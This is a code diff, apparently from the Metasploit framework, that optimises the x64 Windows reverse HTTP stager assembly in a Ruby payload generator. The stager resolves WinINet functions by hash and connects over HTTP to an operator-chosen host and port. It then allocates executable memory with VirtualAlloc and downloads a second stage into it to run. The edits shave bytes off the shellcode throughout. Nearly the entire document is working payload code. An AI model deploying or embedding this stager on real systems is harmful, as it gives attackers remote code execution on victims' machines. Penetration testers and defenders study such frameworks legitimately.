@@ -198,8 +198,10 @@ def asm_reverse_http(opts={})
198
198
end
199
199
200
200
asm = %Q^
201
+ xor rbx, rbx
202
+
201
203
load_wininet:
202
- push 0
204
+ push rbx
203
205
mov r14, 'wininet'
204
206
push r14 ; Push 'wininet',0 onto the stack
205
207
mov r14, rsp ; Save pointer to string
@@ -222,17 +224,19 @@ def asm_reverse_http(opts={})
222
224
else
223
225
asm << %Q^
224
226
xor r8, r8 ; NULL pointer (lpszProxyName)
225
- xor rdx, rdx ; PRECONFIG = 0 (dwAccessType)
227
+ ; the push/pop sequence saves a byte over XOR
228
+ push rbx
229
+ pop rdx ; PRECONFIG = 0 (dwAccessType)
226
230
^
227
231
end
228
232
229
233
asm << %Q^
230
- push 0 ; alignment
231
- push 0 ; NULL pointer
234
+ push rbx ; 0 for alignment
235
+ push rbx ; 0 for alignment
232
236
xor r9, r9 ; NULL pointer (lpszProxyBypass)
233
237
mov rcx, rsp ; Empty string pointer (lpszAgent)
234
- push 0 ; 0 (dwFlags)
235
- push 0 ; alignment
238
+ push rbx ; 0 (dwFlags)
239
+ push rbx ; 0 for alignment
236
240
mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
237
241
call rbp
238
242
^
@@ -247,10 +251,10 @@ def asm_reverse_http(opts={})
247
251
mov rcx, rax ; HINTERNET (hInternet)
248
252
mov r8, #{ opts [ :port ] } ;
249
253
xor r9, r9 ; String (lpszUsername)
250
- push 0 ; NULL (dwContext)
251
- push 0 ; 0 (dwFlags)
254
+ push rbx ; NULL (dwContext)
255
+ push rbx ; 0 (dwFlags)
252
256
push 3 ; INTERNET_SERVICE_HTTP (dwService)
253
- push 0 ; alignment
257
+ push rbx ; 0 for alignment
254
258
mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
255
259
call rbp
256
260
^
@@ -277,8 +281,8 @@ def asm_reverse_http(opts={})
277
281
pop r9
278
282
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
279
283
; TODO: Without these pushes, things crashed. Not sure why.
280
- push 0 ; alignment
281
- push 0 ; alignment
284
+ push rbx ; 0 for alignment
285
+ push rbx ; 0 for alignment
282
286
call rbp
283
287
^
284
288
end
@@ -297,8 +301,8 @@ def asm_reverse_http(opts={})
297
301
pop r9
298
302
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
299
303
; TODO: Without these pushes, things crashed. Not sure why.
300
- push 0 ; alignment
301
- push 0 ; alignment
304
+ push rbx ; 0 for alignment
305
+ push rbx ; 0 for alignment
302
306
call rbp
303
307
^
304
308
end
@@ -318,18 +322,20 @@ def asm_reverse_http(opts={})
318
322
httpopenrequest:
319
323
pop r8 ; String (lpszObjectName)
320
324
mov rcx, rax ; HINTERNET (hConnect)
321
- xor rdx, rdx ; NULL pointer (lpszVerb)
325
+ ; the push/pop sequence saves a byte over XOR
326
+ push rbx
327
+ pop rdx ; NULL pointer (lpszVerb)
322
328
xor r9, r9 ; String (lpszVersion)
323
- push 0 ; 0 (dwContext)
329
+ push rbx ; 0 (dwContext)
324
330
; TODO: figure out what's going on here (get help from HD?)
325
331
; Having to use mov + push instead of push qword because
326
332
; Metasm doesn't seem to like it. Plain 'push' doesn't work
327
333
; because of an overflow error.
328
334
;push qword 0x#{ http_open_flags . to_s ( 16 ) } ; (dwFlags)
329
335
mov r10, 0x#{ http_open_flags . to_s ( 16 ) } ; (dwFlags)
330
336
push r10
331
- push 0 ; NULL pointer (lplpszAcceptTypes)
332
- push 0 ; NULL pointer (lpszReferer)
337
+ push rbx ; NULL pointer (lplpszAcceptTypes)
338
+ push rbx ; NULL pointer (lpszReferer)
333
339
mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
334
340
call rbp
335
341
mov rsi, rax ; Store the request handle in RSI
@@ -347,7 +353,7 @@ def asm_reverse_http(opts={})
347
353
mov rcx, rsi ; (hInternet)
348
354
push 31 ; INTERNET_OPTION_SECURITY_FLAGS
349
355
pop rdx
350
- push 0 ; alignment
356
+ push rbx ; 0 for alignment
351
357
push #{ set_option_flags } ; (dwFlags)
352
358
mov r8, rsp
353
359
push 4 ; sizeof(dwFlags)
@@ -360,18 +366,20 @@ def asm_reverse_http(opts={})
360
366
asm << %Q^
361
367
httpsendrequest:
362
368
mov rcx, rsi ; HINTERNET (hRequest)
363
- xor rdx, rdx ; NULL pointer (lpszHeaders)
369
+ ; the push/pop sequence saves a byte over XOR
370
+ push rbx
371
+ pop rdx ; NULL pointer (lpszHeaders)
364
372
xor r8, r8 ; 0 (dwHeadersLength)
365
373
xor r9, r9 ; NULL pointer (lpOptional)
366
- push 0 ; alignment
367
- push 0 ; 0 (dwOptionalLength)
374
+ push rbx ; 0 for alignment
375
+ push rbx ; 0 (dwOptionalLength)
368
376
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
369
377
call rbp
370
- test rax, rax
378
+ test eax, eax ; use eax, it's 1 byte less than rax
371
379
jnz allocate_memory
372
380
373
381
try_it_again:
374
- dec rdi
382
+ dec edi ; use edi, it's 1 byte less than rdi
375
383
jz failure
376
384
jmp retry
377
385
^
@@ -391,10 +399,13 @@ def asm_reverse_http(opts={})
391
399
392
400
asm << %Q^
393
401
allocate_memory:
394
- xor rcx, rcx ; NULL pointer (lpAddress)
402
+ ; the push/pop sequence saves a byte over XOR
403
+ push rbx
404
+ pop rcx ; NULL pointer (lpAddress)
395
405
mov rdx, 0x00400000 ; SIZE_T (dwSize)
396
406
mov r8, 0x1000 ; MEM_COMMIT (flAllocationType)
397
- mov r9, 0x40 ; PAGE_EXECUTE_READWRITE (flProtect)
407
+ push 0x40
408
+ pop r9 ; PAGE_EXECUTE_READWRITE (flProtect)
398
409
mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
399
410
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
400
411
@@ -416,10 +427,11 @@ def asm_reverse_http(opts={})
416
427
test eax, eax ; did the download fail?
417
428
jz failure
418
429
419
- mov ax, word ptr [edi]
420
- add rbx, rax ; buffer += lpNumberOfBytesRead
430
+ mov ax, word ptr [rdi]
431
+ ; Use ebx/eax here because we save bytes (don't need higher order 32 bits)
432
+ add ebx, eax ; buffer += lpNumberOfBytesRead
421
433
422
- test rax, rax
434
+ test eax, eax ; use eax instead of rax, saves a byte
423
435
jnz download_more ; loop until 0 is returned
424
436
pop rax ; clear temp storage
425
437
pop rax ; alignment
0 commit comments